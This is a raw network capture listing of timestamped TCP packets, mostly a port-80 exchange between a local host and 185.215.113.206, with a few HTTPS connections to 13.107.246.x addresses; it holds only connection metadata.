Nov 26, 2024 22:52:51.730775118 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.731443882 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.731589079 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.732011080 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.732120991 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.732403994 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.732415915 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.732657909 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.733269930 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.733375072 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.733561039 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.733727932 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.734194040 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.734258890 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.734401941 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.734565973 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.735112906 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.735372066 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.735400915 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.735534906 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.735997915 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.736099005 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.736377001 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.736471891 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.736937046 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.737070084 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.737648010 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.737725973 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.737818956 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.737834930 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.738138914 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.738703012 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.738802910 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.738967896 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.739671946 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.739829063 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.739883900 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.771532059 CET	49877	443	192.168.2.7	13.107.246.40
Nov 26, 2024 22:52:51.842540979 CET	443	49875	13.107.246.40	192.168.2.7
Nov 26, 2024 22:52:51.842571020 CET	443	49875	13.107.246.40	192.168.2.7
Nov 26, 2024 22:52:51.842680931 CET	49875	443	192.168.2.7	13.107.246.40
Nov 26, 2024 22:52:51.842693090 CET	443	49875	13.107.246.40	192.168.2.7
Nov 26, 2024 22:52:51.842793941 CET	443	49875	13.107.246.40	192.168.2.7
Nov 26, 2024 22:52:51.843226910 CET	49875	443	192.168.2.7	13.107.246.40
Nov 26, 2024 22:52:51.843864918 CET	49875	443	192.168.2.7	13.107.246.40
Nov 26, 2024 22:52:51.843873978 CET	443	49875	13.107.246.40	192.168.2.7
Nov 26, 2024 22:52:51.845262051 CET	49887	443	192.168.2.7	13.107.246.40
Nov 26, 2024 22:52:51.845284939 CET	443	49887	13.107.246.40	192.168.2.7
Nov 26, 2024 22:52:51.845438004 CET	49887	443	192.168.2.7	13.107.246.40
Nov 26, 2024 22:52:51.845630884 CET	49887	443	192.168.2.7	13.107.246.40
Nov 26, 2024 22:52:51.845643044 CET	443	49887	13.107.246.40	192.168.2.7
Nov 26, 2024 22:52:51.853846073 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.854064941 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.854093075 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.854254961 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.854324102 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.854324102 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.854422092 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.854665995 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.855156898 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.855216026 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.855266094 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.855565071 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.856056929 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.856182098 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.856401920 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.856576920 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.856908083 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.857042074 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.857295990 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.857310057 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.857371092 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.858227015 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.858330965 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.858359098 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.858488083 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.859077930 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.859344959 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.859870911 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.859970093 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.859999895 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.860097885 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.860285044 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.860404015 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.860405922 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.860647917 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.861191988 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.861326933 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.862123966 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.862137079 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.862258911 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.862294912 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.862498999 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.863007069 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.863142967 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.863934994 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.863950014 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.863991976 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.864075899 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.864177942 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.864876032 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.864888906 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.865056038 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.865705013 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.865938902 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.866645098 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.866656065 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.866806030 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.866810083 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.866945028 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.867552996 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.867564917 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.867672920 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.868477106 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.868581057 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.869379997 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.869390965 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.869445086 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.869445086 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.869509935 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.869662046 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.870299101 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.870311022 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.870557070 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.871161938 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.871334076 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.872078896 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.872092009 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.872214079 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.872262955 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.872402906 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.872992039 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.873006105 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.873060942 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.873060942 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.873929977 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.874058962 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.874821901 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.874835014 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.874963045 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.874979973 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.875277042 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.876653910 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.876665115 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.876677036 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.876748085 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.876842976 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.876974106 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.877527952 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.877538919 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.877743959 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.878398895 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.878561020 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.878691912 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.878864050 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.879307032 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.879415035 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.880227089 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.880238056 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.880350113 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.880377054 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.880536079 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.881123066 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.881134987 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.881195068 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.882021904 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.882136106 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.882163048 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.882268906 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.882947922 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.883094072 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.883912086 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.883924007 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.884020090 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.884063005 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.884156942 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.884772062 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.884782076 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.884975910 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.885632038 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.885726929 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.886840105 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.887106895 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.918354988 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.918504000 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.918529034 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.918613911 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.918725014 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.918827057 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.919446945 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.919457912 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.919513941 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.919542074 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.919759989 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.920348883 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.920360088 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.920392990 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.920469999 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.921226025 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.921348095 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.922152996 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.922166109 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.922241926 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.922274113 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.922498941 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.923043013 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.923095942 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.923974991 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.923988104 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.924076080 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.924082994 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.924194098 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.924885035 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.924896955 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.925033092 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.925757885 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.925980091 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.926664114 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.926676035 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.926778078 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.926790953 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.926989079 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.927560091 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.928591013 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.928603888 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.928734064 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.928760052 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.928787947 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.929389954 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.929516077 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.930277109 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.930288076 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.930342913 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.930449963 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.930557013 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.931178093 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.931278944 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.932105064 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.932118893 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.932169914 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.932169914 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.932203054 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:51.932291985 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:51.977626085 CET	443	49882	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:51.978579044 CET	49882	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:51.978643894 CET	443	49882	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:51.982997894 CET	49882	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:51.983021021 CET	443	49882	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:52.037744999 CET	443	49873	13.107.246.40	192.168.2.7
Nov 26, 2024 22:52:52.037956953 CET	443	49874	13.107.246.40	192.168.2.7
Nov 26, 2024 22:52:52.037983894 CET	443	49874	13.107.246.40	192.168.2.7
Nov 26, 2024 22:52:52.038142920 CET	49874	443	192.168.2.7	13.107.246.40
Nov 26, 2024 22:52:52.038157940 CET	443	49874	13.107.246.40	192.168.2.7
Nov 26, 2024 22:52:52.040961027 CET	443	49873	13.107.246.40	192.168.2.7
Nov 26, 2024 22:52:52.041017056 CET	443	49873	13.107.246.40	192.168.2.7
Nov 26, 2024 22:52:52.041049957 CET	49873	443	192.168.2.7	13.107.246.40
Nov 26, 2024 22:52:52.041066885 CET	49874	443	192.168.2.7	13.107.246.40
Nov 26, 2024 22:52:52.041066885 CET	49873	443	192.168.2.7	13.107.246.40
Nov 26, 2024 22:52:52.041115046 CET	443	49874	13.107.246.40	192.168.2.7
Nov 26, 2024 22:52:52.041213036 CET	49874	443	192.168.2.7	13.107.246.40
Nov 26, 2024 22:52:52.042146921 CET	443	49878	13.107.246.40	192.168.2.7
Nov 26, 2024 22:52:52.042201042 CET	443	49878	13.107.246.40	192.168.2.7
Nov 26, 2024 22:52:52.042332888 CET	443	49878	13.107.246.40	192.168.2.7
Nov 26, 2024 22:52:52.042363882 CET	49878	443	192.168.2.7	13.107.246.40
Nov 26, 2024 22:52:52.042630911 CET	49878	443	192.168.2.7	13.107.246.40
Nov 26, 2024 22:52:52.045994043 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.046123028 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.046413898 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.046479940 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.046595097 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.046618938 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.046878099 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.047373056 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.047636032 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.047775030 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.048234940 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.048401117 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.048553944 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.048660994 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.048919916 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.049459934 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.049652100 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.049820900 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.049983025 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.050355911 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.050446033 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.050673962 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.051253080 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.051438093 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.051812887 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.051891088 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.052037954 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.052073002 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.052131891 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.052160978 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.052206993 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.052978039 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.053081036 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.053917885 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.053930044 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.053987980 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.053987980 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.054924011 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.055578947 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.055608988 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.055766106 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.055778027 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.055835009 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.055835009 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.056638002 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.057651997 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.057663918 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.057742119 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.057766914 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.058008909 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.058460951 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.058478117 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.058552980 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.058552980 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.059360027 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.059485912 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.060050011 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.060241938 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.060269117 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.060844898 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.061006069 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.061172009 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.061450005 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.061732054 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.061935902 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.062112093 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.062124968 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.062242985 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.063252926 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.063895941 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.063908100 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.063915968 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.064028025 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:52.064052105 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:52.064774990 CET	80	49801	185.215.113.206	192.168.2.7
